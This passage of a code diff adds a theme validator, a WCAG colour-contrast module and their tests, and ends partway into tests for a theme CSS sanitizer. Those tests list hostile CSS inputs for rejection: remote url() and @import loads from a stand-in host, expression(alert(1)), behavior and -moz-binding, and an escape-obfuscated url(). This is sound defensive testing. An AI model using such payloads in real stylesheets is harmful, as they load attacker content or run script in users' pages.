+ { id: "wash", type: "toggle", label: "Wash", default: true },
+ ];
+ // Only applies when the person picks "pale", so the default check skips it.
+ expect(check(':root[data-theme-option-ink="pale"] { --foreground: #ffffff; }', { options }).issues).toEqual([]);
+ expect(check(":root[data-theme-option-ink]:not([data-theme-option-ink=\"dark\"]) { --foreground: #ffffff; }", { options }).issues).toEqual([]);
+ // The toggle is on by default, so this one applies.
+ expect(errors(":root[data-theme-option-wash].theme-light { --page-canvas: #444444; }", { options }).length).toBeGreaterThan(0);
+ });
+
+ it("fills in a missing default the way import does: the first choice", () => {
+ const light = ".theme-light { --foreground: #000000; --page-canvas: #ffffff; }";
+ const pale = [{ value: "pale", label: "Pale" }, { value: "dark", label: "Dark" }];
+ const select = errors(`${light}\n:root[data-theme-option-ink="pale"] { --foreground: #ffffff; }`, {
+ options: [{ id: "ink", type: "select", label: "Ink", choices: pale }],
+ });
+ expect(select.some((m) => /light mode: --foreground is below .*--page-canvas \(1\.00:1\)/.test(m))).toBe(true);
+ const variable = errors(light, {
+ options: [{ id: "foreground", type: "variable-select", label: "Ink", choices: [
+ { value: "#ffffff", label: "Pale" },
+ { value: "#000000", label: "Dark" },
+ ] }],
+ });
+ expect(variable.some((m) => /light mode: --foreground is below .*--page-canvas \(1\.00:1\)/.test(m))).toBe(true);
+ });
+
+ it("says when it could not apply the options", () => {
+ const report = check(".theme-light { --radius: 0; }", {
+ id: "Bad",
+ options: [{ id: "wash", type: "toggle", label: "Wash", default: true }],
+ });
+ expect(report.issues).toContainEqual({
+ level: "warning",
+ message: "Contrast was checked without the theme's options, because the theme did not pass the checks above.",
+ });
+ });
+
+ it("keeps a selector list inside :is() together", () => {
+ const report = check('.theme-light :is([data-mc="app-rail"], [data-mc="tab-bar"]) { --foreground: #ffffff; --app-shell: #000000; }');
+ expect(report.issues.filter((i) => i.level === "warning")).toEqual([]);
+ expect(report.contrast.some((c) => c.area === "frame")).toBe(true);
+ });
+
+ it("says what it did not measure instead of passing it", () => {
+ const report = check(
+ [
+ "@media (prefers-contrast: more) { .theme-light { --foreground: #ffffff; } }",
+ "body { --page-canvas: #ffffff; }",
+ '.theme-light [data-mc="chat-window"] { --background: #ffffff; }',
+ ].join("\n"),
+ );
+ const warnings = report.issues.filter((i) => i.level === "warning").map((i) => i.message);
+ expect(warnings).toEqual(
+ expect.arrayContaining([
+ expect.stringMatching(/line 1 sets --foreground under `\.theme-light`, which the check does not follow/),
+ expect.stringMatching(/line 2 sets --page-canvas under `body`/),
+ ]),
+ );
+ expect(warnings.some((m) => m.includes("chat-window"))).toBe(false);
+ });
+
+ it("checks the primary button label and a frame of its own", () => {
+ const found = errors(
+ [
+ ".theme-light { --button-primary: #ffd400; --button-primary-foreground: #ffffff; }",
+ '.theme-light :is([data-mc="app-rail"]) { --app-shell: #000000; --foreground: #111111; }',
+ ].join("\n"),
+ );
+ expect(found.some((m) => /--button-primary-foreground is below 4\.5:1 on --button-primary/.test(m))).toBe(true);
+ expect(found.some((m) => /light mode \(frame\): --foreground is below 4\.5:1 on --app-shell/.test(m))).toBe(true);
+ });
+
+ it("warns instead of guessing when a colour cannot be read", () => {
+ const report = check(".theme-light { --muted-foreground: color-mix(in oklab, red, blue); }");
+ expect(report.ok).toBe(true);
+ expect(report.issues.some((i) => i.level === "warning" && /cannot read/.test(i.message))).toBe(true);
+ });
+
+ it("explains a folder without a manifest", () => {
+ expect(checkThemeFiles([], base)).toEqual({
+ ok: false,
+ issues: [{ level: "error", message: "manifest.json is missing" }],
+ contrast: [],
+ });
+ });
+});
+
+describe("colour parsing", () => {
+ it("reads the colour syntaxes themes use", () => {
+ expect(parseColor("#fff")).toEqual({ r: 255, g: 255, b: 255, a: 1 });
+ expect(parseColor("#00000080")).toMatchObject({ r: 0, a: 128 / 255 });
+ expect(parseColor("rgb(31 35 40 / 0.04)")).toEqual({ r: 31, g: 35, b: 40, a: 0.04 });
+ expect(parseColor("rgba(255, 0, 0, 0.5)")).toEqual({ r: 255, g: 0, b: 0, a: 0.5 });
+ expect(parseColor("hsl(0 100% 50%)")).toEqual({ r: 255, g: 0, b: 0, a: 1 });
+ expect(parseColor("oklch(1 0 0)")).toEqual({ r: 255, g: 255, b: 255, a: 1 });
+ expect(parseColor("oklch(0% 0 0)")).toEqual({ r: 0, g: 0, b: 0, a: 1 });
+ expect(parseColor("color-mix(in oklab, red, blue)")).toBeNull();
+ });
+
+ it("follows var() chains and fallbacks", () => {
+ const palette = new Map([
+ ["--a", "var(--b)"],
+ ["--b", "var(--missing, #000)"],
+ ["--loop", "var(--loop)"],
+ ]);
+ expect(resolveColor(palette, "--a")).toEqual({ color: { r: 0, g: 0, b: 0, a: 1 } });
+ expect(resolveColor(palette, "--loop")).toEqual({ unresolved: "--loop refers to itself" });
+ expect(resolveColor(palette, "--nope")).toEqual({ unresolved: "--nope is not set" });
+ });
+
+ it("measures WCAG ratios, compositing a translucent foreground", () => {
+ const white = parseColor("#fff")!;
+ expect(contrastRatio(parseColor("#000")!, white)).toBeCloseTo(21, 5);
+ expect(contrastRatio(parseColor("rgb(0 0 0 / 0)")!, white)).toBeCloseTo(1, 5);
+ });
+});
diff --git a/packages/core/appearance/theme-check.ts b/packages/core/appearance/theme-check.ts
new file mode 100644
index 0000000000..88f212c92b
--- /dev/null
+++ b/packages/core/appearance/theme-check.ts
@@ -0,0 +1,425 @@
+import type { ArchiveFile } from "./theme-archive";
+import { parseTheme, readThemeFiles, type ThemePackageInput } from "./theme-package";
+import { THEME_VARIABLE_NAMES } from "./theme-variables";
+import { contrastRatio, resolveColor, type BasePalette } from "./theme-contrast";
+import {
+ THEME_OPTION_ATTR_PREFIX,
+ themeOptionAttributes,
+ themeOptionVariables,
+ type Theme,
+ type ThemeManifest,
+} from "./themes";
+
+/**
+ * The theme validator behind `pnpm theme:check` and the theme store's
+ * registry checks. On top of what import enforces (the manifest and the CSS
+ * sanitizer), it reports what import lets through but a theme should not
+ * do: set variables that are not public, name generic families in Latin
+ * font stacks, or paint text without enough contrast. It reads the theme
+ * with its default options.
+ */
+
+export interface ThemeCheckIssue {
+ level: "error" | "warning";
+ message: string;
+}
+
+export interface ContrastCheck {
+ mode: "light" | "dark";
+ /** Where the pair is painted: the page, or the frame (rail, toolbar, tabs). */
+ area: "page" | "frame";
+ foreground: string;
+ background: string;
+ ratio: number;
+ required: number;
+}
+
+export interface ThemeCheckReport {
+ ok: boolean;
+ theme?: Theme;
+ issues: ThemeCheckIssue[];
+ /** Every pair that was measured, passing or not. */
+ contrast: ContrastCheck[];
+}
+
+const TEXT = 4.5;
+const NON_TEXT = 3;
+
+/** Surfaces text is painted on; borders and inputs are left out. */
+const BACKGROUNDS = [
+ "--app-shell",
+ "--page-canvas",
+ "--background",
+ "--surface",
+ "--surface-raised",
+ "--surface-hover",
+ "--surface-selected",
+ "--card",
+ "--popover",
+ "--muted",
+ "--secondary",
+ "--accent",
+ "--sidebar",
+ "--sidebar-accent",
+];
+const READING_SURFACES = ["--background", "--page-canvas", "--surface", "--surface-raised"];
+const FRAME_BACKGROUNDS = [
+ "--app-shell",
+ "--background",
+ "--page-canvas",
+ "--surface",
+ "--surface-raised",
+ "--surface-hover",
+ "--surface-selected",
+ "--muted",
+ "--sidebar-accent",
+];
+
+const GENERIC_FAMILY =
+ /^(?:serif|sans-serif|monospace|cursive|fantasy|system-ui|math|emoji|fangsong|ui-[a-z-]+)$/i;
+const LATIN_STACKS = new Set(["font-ui", "font-content-latin"]);
+const FRAME_ANCHOR = /data-mc="(?:app-rail|window-toolbar|tab-bar)"/;
+
+const isRecord = (v: unknown): v is Record<string, unknown> =>
+ typeof v === "object" && v !== null && !Array.isArray(v);
+
+const stripComments = (css: string) => css.replace(/\/\*[\s\S]*?\*\//g, (c) => c.replace(/[^\n]/g, " "));
+
+const lineAt = (css: string, index: number) => css.slice(0, index).split("\n").length;
+
+interface Rule {
+ selectors: string[];
+ body: string;
+ /** Offset of the selector in the CSS, for line numbers. */
+ index: number;
+ /** Inside an at-rule or another rule, so it applies only under a condition. */
+ nested: boolean;
+}
+
+type Mode = "light" | "dark";
+
+/**
+ * Where a selector on <html> applies and how specific it is, for the
+ * selectors the contrast check follows: `:root` or `html`, the mode
+ * classes, and the theme's option attributes, read at their defaults.
+ * `"inactive"` when the default options do not match; `null` for any
+ * other selector.
+ */
+function rootSelector(
+ selector: string,
+ attributes: ReadonlyMap<string, string>,
+): { modes: Mode[]; specificity: number } | "inactive" | null {
+ const root = /^(:root|html)/.exec(selector)?.[1];
+ let specificity = root === ":root" ? 10 : root ? 1 : 0;
+ let rest = selector.slice(root?.length ?? 0);
+ let mode: Mode | undefined;
+ let matches = true;
+ const ATTRIBUTE = String.raw`\[data-theme-option-([a-z0-9-]+)(?:="([^"]*)")?\]`;
+ while (rest.length > 0) {
+ const token =
+ /^\.(theme-light|theme-dark|dark)/.exec(rest) ??
+ new RegExp(`^${ATTRIBUTE}`).exec(rest) ??
+ new RegExp(`^:not\\(${ATTRIBUTE}\\)`).exec(rest);
+ if (!token) return null;
+ specificity += 10;
+ if (token[0].startsWith(".")) {
+ const next = token[1] === "theme-light" ? "light" : "dark";
+ if (mode && mode !== next) matches = false;
+ mode = next;
+ } else {
+ const value = attributes.get(token[1]!);
+ const present = value !== undefined && (token[2] === undefined || token[2] === value);
+ if (present === token[0].startsWith(":not")) matches = false;
+ }
+ rest = rest.slice(token[0].length);
+ }
+ if (specificity === 0) return null;
+ if (!matches) return "inactive";
+ return { modes: mode ? [mode] : ["light", "dark"], specificity };
+}
+
+/** Selectors in a list, split on the commas outside parentheses. */
+function splitSelectors(prelude: string): string[] {
+ const out: string[] = [];
+ let depth = 0;
+ let start = 0;
+ for (let i = 0; i < prelude.length; i += 1) {
+ if (prelude[i] === "(") depth += 1;
+ else if (prelude[i] === ")") depth = Math.max(0, depth - 1);
+ else if (prelude[i] === "," && depth === 0) {
+ out.push(prelude.slice(start, i).trim());
+ start = i + 1;
+ }
+ }
+ out.push(prelude.slice(start).trim());
+ return out;
+}
+
+/** A palette that records which variables a contrast check read. */
+class ReadTracker extends Map<string, string> {
+ private readonly read: Set<string>;
+ constructor(read: Set<string>, entries: Iterable<readonly [string, string]>) {
+ super(entries);
+ this.read = read;
+ }
+ override get(name: string) {
+ this.read.add(name);
+ return super.get(name);
+ }
+}
+
+/** Rules that hold declarations, top-level or nested, enough to find variables. */
+function rules(css: string): Rule[] {
+ const out: Rule[] = [];
+ let depth = 0;
+ let scanned = 0;
+ for (const m of css.matchAll(/([^{}]+)\{([^{}]*)\}/g)) {
+ for (; scanned < m.index; scanned += 1) {
+ if (css[scanned] === "{") depth += 1;
+ else if (css[scanned] === "}") depth = Math.max(0, depth - 1);
+ }
+ // A statement before the rule (`@import …;`) ends at its semicolon.
+ const cut = m[1]!.lastIndexOf(";") + 1;
+ const prelude = m[1]!.slice(cut);
+ out.push({
+ selectors: splitSelectors(prelude),
+ body: m[2]!,
+ index: m.index + cut + (prelude.length - prelude.trimStart().length),
+ nested: depth > 0,
+ });
+ }
+ return out;
+}
+
+function declarations(body: string): [string, string][] {
+ return [...body.matchAll(/(--[\w-]+)\s*:\s*([^;]+)/g)].map((m) => [m[1]!, m[2]!.trim()]);
+}
+
+/** Option ids from the manifest, raw, so the checks run even when it fails to parse. */
+function manifestOptions(manifest: unknown): Record<string, unknown>[] {
+ return isRecord(manifest) && Array.isArray(manifest.options) ? manifest.options.filter(isRecord) : [];
+}
+
+function checkVariables(css: string, manifest: unknown, issues: ThemeCheckIssue[]) {
+ const clean = stripComments(css);
+ const read = new Set([...clean.matchAll(/var\(\s*(--[\w-]+)/g)].map((m) => m[1]!));
+ const options = new Set(manifestOptions(manifest).map((o) => `--${String(o.id)}`));
+ const reported = new Set<string>();
+ for (const match of clean.matchAll(/(?<![\w-])(--[\w-]+)\s*:/g)) {
+ const name = match[1]!;
+ if (THEME_VARIABLE_NAMES.has(name.slice(2)) || options.has(name) || read.has(name) || reported.has(name)) {
+ continue;
+ }
+ reported.add(name);
+ issues.push({
+ level: "error",
+ message: `theme.css line ${lineAt(clean, match.index)}: ${name} is not a public variable. Use the variables in docs/theming.md; a variable of the theme's own is fine when the theme reads it with var(${name}).`,
+ });
+ }
+}
+
+function genericFamilies(stack: string): string[] {
+ return stack
+ .split(",")
+ .map((family) => family.trim())
+ .filter((family) => GENERIC_FAMILY.test(family));
+}
+
+function checkFonts(css: string, manifest: unknown, issues: ThemeCheckIssue[]) {
+ const clean = stripComments(css);
+ for (const match of clean.matchAll(/(?<![\w-])--(font-ui|font-content-latin)\s*:\s*([^;}]+)/g)) {
+ const generic = genericFamilies(match[2]!);
+ if (generic.length > 0) {
+ issues.push({
+ level: "error",
+ message: `theme.css line ${lineAt(clean, match.index)}: --${match[1]} names ${generic.join(", ")}. Leave generic families out of Latin font stacks, or Chinese, Japanese and Korean text ignores the person's CJK font.`,
+ });
+ }
+ }
+ // In @font-face, font-family names the face being declared; blank those
+ // blocks out, keeping the newlines so line numbers still match.
+ const rules = clean.replace(/@font-face\s*\{[^}]*\}/gi, (block) => block.replace(/[^\n]/g, " "));
+ for (const match of rules.matchAll(/(?<![\w-])font-family\s*:/g)) {
+ issues.push({
+ level: "warning",
+ message: `theme.css line ${lineAt(clean, match.index)}: font-family is set directly. Set --font-ui or --font-content-latin instead, so the Appearance font choices still apply.`,
+ });
+ }
+ for (const option of manifestOptions(manifest)) {
+ if (!LATIN_STACKS.has(String(option.id))) continue;
+ const stacks = [option.default, ...(Array.isArray(option.choices) ? option.choices.map((c) => (isRecord(c) ? c.value : undefined)) : [])];
+ for (const stack of stacks) {
+ if (typeof stack !== "string") continue;
+ const generic = genericFamilies(stack);
+ if (generic.length > 0) {
+ issues.push({
+ level: "error",
+ message: `Option "${String(option.id)}" offers ${JSON.stringify(stack)}, which names ${generic.join(", ")}. Leave generic families out of Latin font stacks.`,
+ });
+ }
+ }
+ }
+}
+
+/**
+ * Contrast with the options at their defaults, through the same helpers the
+ * app uses to apply them. Without a parsed theme there are no options to apply.
+ */
+function checkContrast(
+ css: string,
+ theme: ThemeManifest | undefined,
+ base: BasePalette,
+ issues: ThemeCheckIssue[],
+): ContrastCheck[] {
+ const clean = stripComments(css);
+ // The cascade on <html>, per mode: the base tokens (`:root` and `.dark`),
+ // then the theme's root and mode rules by specificity and order.
+ const cascade = {
+ light: new Map([...base.light].map(([name, value]) => [name, { value, specificity: 10 }])),
+ dark: new Map([...base.dark].map(([name, value]) => [name, { value, specificity: 10 }])),
+ };
+ const frame = { light: [] as [string, string][], dark: [] as [string, string][] };
+ const unmodelled = new Map<string, string>();
+ const attributes = new Map<string, string>();
+ for (const [name, value] of Object.entries(theme ? themeOptionAttributes(theme, undefined) : {})) {
+ if (value !== null) attributes.set(name.slice(THEME_OPTION_ATTR_PREFIX.length), value);
+ }
+ for (const rule of rules(clean)) {
+ for (const selector of rule.selectors) {
+ const target = rule.nested ? null : rootSelector(selector, attributes);
+ if (target === "inactive") continue;
+ if (target) {
+ for (const m of target.modes) {
+ for (const [name, value] of declarations(rule.body)) {
+ const current = cascade[m].get(name);
+ if (!current || target.specificity >= current.specificity) {
+ cascade[m].set(name, { value, specificity: target.specificity });
+ }
+ }
+ }
+ } else if (!/[\s>+~]/.test(selector)) {
+ // Sets variables on <html> or <body> in a way the check does not follow.
+ for (const [name] of declarations(rule.body)) {
+ if (!unmodelled.has(name)) {
+ unmodelled.set(name, `theme.css line ${lineAt(clean, rule.index)} sets ${name} under \`${selector}\``);
+ }
+ }
+ }
+ }
+ const joined = rule.selectors.join(", ");
+ const frameMode = /^(?::root|html)?\.theme-(light|dark)\s/.exec(joined)?.[1] as "light" | "dark" | undefined;
+ if (!rule.nested && frameMode && FRAME_ANCHOR.test(joined)) frame[frameMode].push(...declarations(rule.body));
+ }
+ const options = theme ? themeOptionVariables(theme, undefined) : { light: {}, dark: {} };
+ const results: ContrastCheck[] = [];
+ const unresolved = new Set<string>();
+ const read = new Set<string>();
+
+ for (const m of ["light", "dark"] as const) {
+ // Option values are written after the theme as `:root.theme-<mode>`, so they win.
+ const palette = new ReadTracker(read, [
+ ...[...cascade[m]].map(([name, { value }]) => [name, value] as const),
+ ...Object.entries(options[m]),
+ ]);
+ const measure = (
+ area: ContrastCheck["area"],
+ p: Map<string, string>,
+ foreground: string,
+ backgrounds: readonly string[],
+ required: number,
+ ) => {
+ const fg = resolveColor(p, foreground);
+ if ("unresolved" in fg) {
+ unresolved.add(`${m}: ${fg.unresolved}`);
+ return;
+ }
+ for (const background of backgrounds) {
+ const bg = resolveColor(p, background);
+ if ("unresolved" in bg) {
+ unresolved.add(`${m}: ${bg.unresolved}`);
+ continue;
+ }
+ if (bg.color.a < 1) {
+ unresolved.add(`${m}: ${background} is translucent, so its contrast depends on what is underneath`);
+ continue;
+ }
+ const ratio = contrastRatio(fg.color, bg.color);
+ results.push({ mode: m, area, foreground, background, ratio: Math.round(ratio * 100) / 100, required });
+ }
+ };
+ const hasFrame = frame[m].length > 0;
+ const backgrounds = hasFrame ? BACKGROUNDS.filter((b) => b !== "--app-shell") : BACKGROUNDS;
+ measure("page", palette, "--foreground", backgrounds, TEXT);
+ measure("page", palette, "--muted-foreground", backgrounds, TEXT);
+ measure("page", palette, "--faint-foreground", backgrounds, NON_TEXT);
+ measure("page", palette, "--brand", READING_SURFACES, TEXT);
+ if (palette.has("--button-primary")) {
+ const label = palette.has("--button-primary-foreground") ? "--button-primary-foreground" : "--primary-foreground";
+ measure("page", palette, label, ["--button-primary"], TEXT);
+ }
+ if (hasFrame) {
+ const framePalette = new ReadTracker(read, [...palette, ...frame[m]]);
+ for (const tone of ["--foreground", "--muted-foreground", "--sidebar-accent-foreground"]) {
+ measure("frame", framePalette, tone, FRAME_BACKGROUNDS, TEXT);
+ }
+ measure("frame", framePalette, "--faint-foreground", FRAME_BACKGROUNDS, NON_TEXT);
+ }
+ }
+
+ for (const [name, where] of unmodelled) {
+ if (read.has(name)) unresolved.add(`${where}, which the check does not follow`);
+ }
+
+ const failing = new Map<string, ContrastCheck[]>();
+ for (const check of results) {
+ if (check.ratio >= check.required) continue;
+ const key = `${check.mode} ${check.area} ${check.foreground}`;
+ failing.set(key, [...(failing.get(key) ?? []), check]);
+ }
+ for (const checks of failing.values()) {
+ const { mode: m, area, foreground, required } = checks[0]!;
+ const surfaces = checks.map((c) => `${c.background} (${c.ratio.toFixed(2)}:1)`);
+ const list = surfaces.length > 1 ? `${surfaces.slice(0, -1).join(", ")} and ${surfaces.at(-1)}` : surfaces[0];
+ issues.push({
+ level: "error",
+ message: `Contrast, ${m} mode${area === "frame" ? " (frame)" : ""}: ${foreground} is below ${required}:1 on ${list}.`,
+ });
+ }
+ for (const reason of unresolved) {
+ issues.push({ level: "warning", message: `Contrast not checked, ${reason}.` });
+ }
+ return results;
+}
+
+/** Checks a theme package already split into manifest, CSS and assets. */
+export function checkThemePackage(input: ThemePackageInput, base: BasePalette): ThemeCheckReport {
+ const issues: ThemeCheckIssue[] = [];
+ const parsed = parseTheme(input);
+ if (!parsed.ok) issues.push(...parsed.errors.map((message) => ({ level: "error" as const, message })));
+ let contrast: ContrastCheck[] = [];
+ if (typeof input.css === "string") {
+ checkVariables(input.css, input.manifest, issues);
+ checkFonts(input.css, input.manifest, issues);
+ const theme = parsed.ok ? parsed.theme : undefined;
+ if (!theme && manifestOptions(input.manifest).length > 0) {
+ issues.push({
+ level: "warning",
+ message: "Contrast was checked without the theme's options, because the theme did not pass the checks above.",
+ });
+ }
+ contrast = checkContrast(input.css, theme, base, issues);
+ }
+ return {
+ ok: !issues.some((issue) => issue.level === "error"),
+ theme: parsed.ok ? parsed.theme : undefined,
+ issues,
+ contrast,
+ };
+}
+
+/** Checks a theme from its files: a folder's contents or a .zip's. */
+export function checkThemeFiles(files: readonly ArchiveFile[], base: BasePalette): ThemeCheckReport {
+ const read = readThemeFiles(files);
+ if (!read.ok) return { ok: false, issues: [{ level: "error", message: read.error }], contrast: [] };
+ return checkThemePackage(read.package, base);
+}
diff --git a/packages/core/appearance/theme-contrast.ts b/packages/core/appearance/theme-contrast.ts
new file mode 100644
index 0000000000..74828db3c9
--- /dev/null
+++ b/packages/core/appearance/theme-contrast.ts
@@ -0,0 +1,176 @@
+/**
+ * WCAG 2.x contrast for theme colours. A palette maps variable names
+ * (with `--`) to CSS values; colours are resolved through `var()` chains to
+ * literals in hex, rgb(), hsl(), oklab() or oklch(). Anything else
+ * (color-mix(), a keyword) cannot be resolved, and the check says so
+ * instead of guessing.
+ */
+
+export type Palette = ReadonlyMap<string, string>;
+
+/** sRGB channels 0–255 (rounded, as the display paints them) and alpha 0–1. */
+export interface Rgba {
+ r: number;
+ g: number;
+ b: number;
+ a: number;
+}
+
+const clamp01 = (x: number) => Math.min(1, Math.max(0, x));
+const encodeSrgb = (c: number) => (c <= 0.0031308 ? 12.92 * c : 1.055 * Math.pow(c, 1 / 2.4) - 0.055);
+const decodeSrgb = (c: number) => (c <= 0.04045 ? c / 12.92 : Math.pow((c + 0.055) / 1.055, 2.4));
+const channel = (linear: number) => Math.round(clamp01(encodeSrgb(clamp01(linear))) * 255);
+
+function oklabToRgb(lightness: number, a: number, b: number): [number, number, number] {
+ const l = (lightness + 0.3963377774 * a + 0.2158037573 * b) ** 3;
+ const m = (lightness - 0.1055613458 * a - 0.0638541728 * b) ** 3;
+ const s = (lightness - 0.0894841775 * a - 1.291485548 * b) ** 3;
+ return [
+ channel(4.0767416621 * l - 3.3077115913 * m + 0.2309699292 * s),
+ channel(-1.2684380046 * l + 2.6097574011 * m - 0.3413193965 * s),
+ channel(-0.0041960863 * l - 0.7034186147 * m + 1.707614701 * s),
+ ];
+}
+
+function hslToRgb(h: number, s: number, l: number): [number, number, number] {
+ const k = (n: number) => (n + h / 30) % 12;
+ const a = s * Math.min(l, 1 - l);
+ const f = (n: number) => l - a * Math.max(-1, Math.min(k(n) - 3, 9 - k(n), 1));
+ return [Math.round(f(0) * 255), Math.round(f(8) * 255), Math.round(f(4) * 255)];
+}
+
+const NAMED: Record<string, Rgba> = {
+ white: { r: 255, g: 255, b: 255, a: 1 },
+ black: { r: 0, g: 0, b: 0, a: 1 },
+ transparent: { r: 0, g: 0, b: 0, a: 0 },
+};
+
+/** A number, a percentage of `percentOf`, or `none` (0). */
+function num(token: string | undefined, percentOf = 1): number | null {
+ if (token === undefined) return null;
+ if (token === "none") return 0;
+ const match = /^(-?(?:\d+\.?\d*|\.\d+))(%|deg)?$/.exec(token);
+ if (!match) return null;
+ const value = Number(match[1]);
+ return match[2] === "%" ? (value / 100) * percentOf : value;
+}
+
+/** Parses a colour literal; null for anything that is not one. */
+export function parseColor(value: string): Rgba | null {
+ const text = value.trim().toLowerCase();
+ if (NAMED[text]) return NAMED[text]!;
+ const hex = /^#([0-9a-f]{3,4}|[0-9a-f]{6}|[0-9a-f]{8})$/.exec(text)?.[1];
+ if (hex) {
+ const full = hex.length <= 4 ? [...hex].map((c) => c + c).join("") : hex;
+ const byte = (i: number) => Number.parseInt(full.slice(i, i + 2), 16);
+ return { r: byte(0), g: byte(2), b: byte(4), a: full.length === 8 ? byte(6) / 255 : 1 };
+ }
+ const fn = /^(rgba?|hsla?|oklch|oklab)\(\s*([^()]*)\)$/.exec(text);
+ if (!fn) return null;
+ const [main = "", alphaPart] = fn[2]!.split("/");
+ const parts = main.split(/[\s,]+/).filter(Boolean);
+ let alphaToken = alphaPart?.trim();
+ if (alphaToken === undefined && parts.length === 4) alphaToken = parts.pop();
+ if (parts.length !== 3) return null;
+ const alpha = alphaToken === undefined ? 1 : num(alphaToken);
+ if (alpha === null) return null;
+ const a = clamp01(alpha);
+ const [x, y, z] = parts;
+ switch (fn[1]) {
+ case "rgb":
+ case "rgba": {
+ const values = [x, y, z].map((p) => num(p, 255));
+ if (values.some((v) => v === null)) return null;
+ const [r, g, b] = values.map((v) => Math.round(Math.min(255, Math.max(0, v!))));
+ return { r: r!, g: g!, b: b!, a };
+ }
+ case "hsl":
+ case "hsla": {
+ const h = num(x);
+ const s = num(y, 1);
+ const l = num(z, 1);
+ if (h === null || s === null || l === null) return null;
+ const [r, g, b] = hslToRgb(((h % 360) + 360) % 360, clamp01(s > 1 ? s / 100 : s), clamp01(l > 1 ? l / 100 : l));
+ return { r, g, b, a };
+ }
+ case "oklch": {
+ const l = num(x, 1);
+ const c = num(y, 0.4);
+ const h = num(z);
+ if (l === null || c === null || h === null) return null;
+ const hue = (h * Math.PI) / 180;
+ const [r, g, b] = oklabToRgb(l, c * Math.cos(hue), c * Math.sin(hue));
+ return { r, g, b, a };
+ }
+ case "oklab": {
+ const l = num(x, 1);
+ const oa = num(y, 0.4);
+ const ob = num(z, 0.4);
+ if (l === null || oa === null || ob === null) return null;
+ const [r, g, b] = oklabToRgb(l, oa, ob);
+ return { r, g, b, a };
+ }
+ }
+ return null;
+}
+
+/**
+ * Follows `var(--a)` and `var(--a, fallback)` to a colour. Returns the
+ * colour, or why it could not be read.
+ */
+export function resolveColor(palette: Palette, name: string): { color: Rgba } | { unresolved: string } {
+ let value = `var(${name})`;
+ for (let hops = 0; hops < 12; hops += 1) {
+ const reference = /^var\(\s*(--[\w-]+)\s*(?:,\s*(.+))?\)$/s.exec(value.trim());
+ if (!reference) {
+ const color = parseColor(value);
+ return color ? { color } : { unresolved: `${name} is \`${value.trim()}\`, which this check cannot read` };
+ }
+ const next = palette.get(reference[1]!) ?? reference[2];
+ if (next === undefined) return { unresolved: `${reference[1]} is not set` };
+ value = next;
+ }
+ return { unresolved: `${name} refers to itself` };
+}
+
+function luminance({ r, g, b }: Rgba): number {
+ return 0.2126 * decodeSrgb(r / 255) + 0.7152 * decodeSrgb(g / 255) + 0.0722 * decodeSrgb(b / 255);
+}
+
+/** `top` painted over an opaque `bottom`. */
+function over(top: Rgba, bottom: Rgba): Rgba {
+ const mix = (t: number, b: number) => Math.round(t * top.a + b * (1 - top.a));
+ return { r: mix(top.r, bottom.r), g: mix(top.g, bottom.g), b: mix(top.b, bottom.b), a: 1 };
+}
+
+/** The WCAG ratio of a foreground on an opaque background. */
+export function contrastRatio(foreground: Rgba, background: Rgba): number {
+ const a = luminance(over(foreground, background));
+ const b = luminance(background);
+ const [lighter, darker] = a > b ? [a, b] : [b, a];
+ return (lighter + 0.05) / (darker + 0.05);
+}
+
+/** The custom properties declared in `selector { … }` of a stylesheet such as tokens.css. */
+export function readDeclarations(css: string, selector: string): Map<string, string> {
+ const start = css.indexOf(`${selector} {`);
+ const declarations = new Map<string, string>();
+ if (start < 0) return declarations;
+ const end = css.indexOf("\n}", start);
+ for (const match of css.slice(start, end < 0 ? undefined : end).matchAll(/(--[\w-]+):\s*([^;]+);/g)) {
+ declarations.set(match[1]!, match[2]!.trim());
+ }
+ return declarations;
+}
+
+/** The app's own palette per mode, which a theme's variables are layered on. */
+export interface BasePalette {
+ light: Palette;
+ dark: Palette;
+}
+
+/** Reads the base palette from packages/ui/styles/tokens.css. */
+export function basePaletteFromTokens(tokensCss: string): BasePalette {
+ const light = readDeclarations(tokensCss, ":root");
+ return { light, dark: new Map([...light, ...readDeclarations(tokensCss, ".dark")]) };
+}
diff --git a/packages/core/appearance/theme-css.test.ts b/packages/core/appearance/theme-css.test.ts
new file mode 100644
index 0000000000..590be8f4c3
--- /dev/null
+++ b/packages/core/appearance/theme-css.test.ts
@@ -0,0 +1,104 @@
+import { describe, expect, it } from "vitest";
+import { THEME_CSS_MAX_LENGTH, sanitizeThemeCss, themeAssetPath } from "./theme-css";
+
+const FONT = "data:font/woff2;base64,d09GMgABAAAAAA==";
+const assets = { "fonts/paper.woff2": FONT };
+
+const rejects = (css: string) => {
+ const result = sanitizeThemeCss(css, assets);
+ expect(result.ok, css).toBe(false);
+ return result.ok ? [] : result.errors;
+};
+
+describe("sanitizeThemeCss", () => {
+ it("keeps ordinary CSS as it is", () => {
+ const css = [
+ '[data-mc="issue-row"]:hover { background: color-mix(in oklch, var(--brand) 8%, transparent); }',
+ "@media (prefers-reduced-motion: reduce) { * { transition: none; } }",
+ '@font-face { font-family: "Local"; src: local("Songti SC"); }',
+ '.x::before { content: attr(data-label) " →"; }',
+ "svg { filter: url(#shadow); }",
+ ].join("\n");
+ expect(sanitizeThemeCss(css)).toEqual({ ok: true, css });
+ });
+
+ it("resolves url() to the package's own assets", () => {
+ const result = sanitizeThemeCss(
+ '@font-face { font-family: Paper; src: url(fonts/paper.woff2) format("woff2"), url("./fonts/paper.woff2"); }',
+ assets,
+ );
+ expect(result).toEqual({
+ ok: true,
+ css: `@font-face { font-family: Paper; src: url("${FONT}") format("woff2"), url("${FONT}"); }`,
+ });
+ });
+
+ it("rejects anything that would load from elsewhere", () => {
+ for (const css of [
+ "body { background: url(https://evil.test/x.png); }",
+ 'body { background: url("//evil.test/x"); }',
+ "body { background: url(missing.png); }",
+ "body { background: url(../fonts/paper.woff2); }",
+ 'body { background: url("data:image/png;base64,AAAA"); }',
+ '@import "https://evil.test/a.css";',
+ "@import url(fonts/paper.woff2);",
+ 'body { background: image-set("https://evil.test/a.png" 1x); }',
+ 'body { background: -webkit-image-set(url(x) 1x); }',
+ "body { background: image(x); }",
+ "body { background: cross-fade(a, b); }",
+ 'body { background: src("https://evil.test"); }',
+ "body { width: expression(alert(1)); }",
+ "body { behavior: url(x.htc); }",
+ "body { -moz-binding: x; }",
+ '.x::before { content: attr(href url); }',
+ "body { background: url(var(--x)); }",
+ "body { background: url(a b); }",
+ "body { background: url(fonts/paper.woff2",
+ ]) {
+ rejects(css);
+ }
+ });
+
+ it("sees through escapes, case and comments", () => {
+ for (const css of [
+ "body { background: u\\72 l(https://evil.test); }",
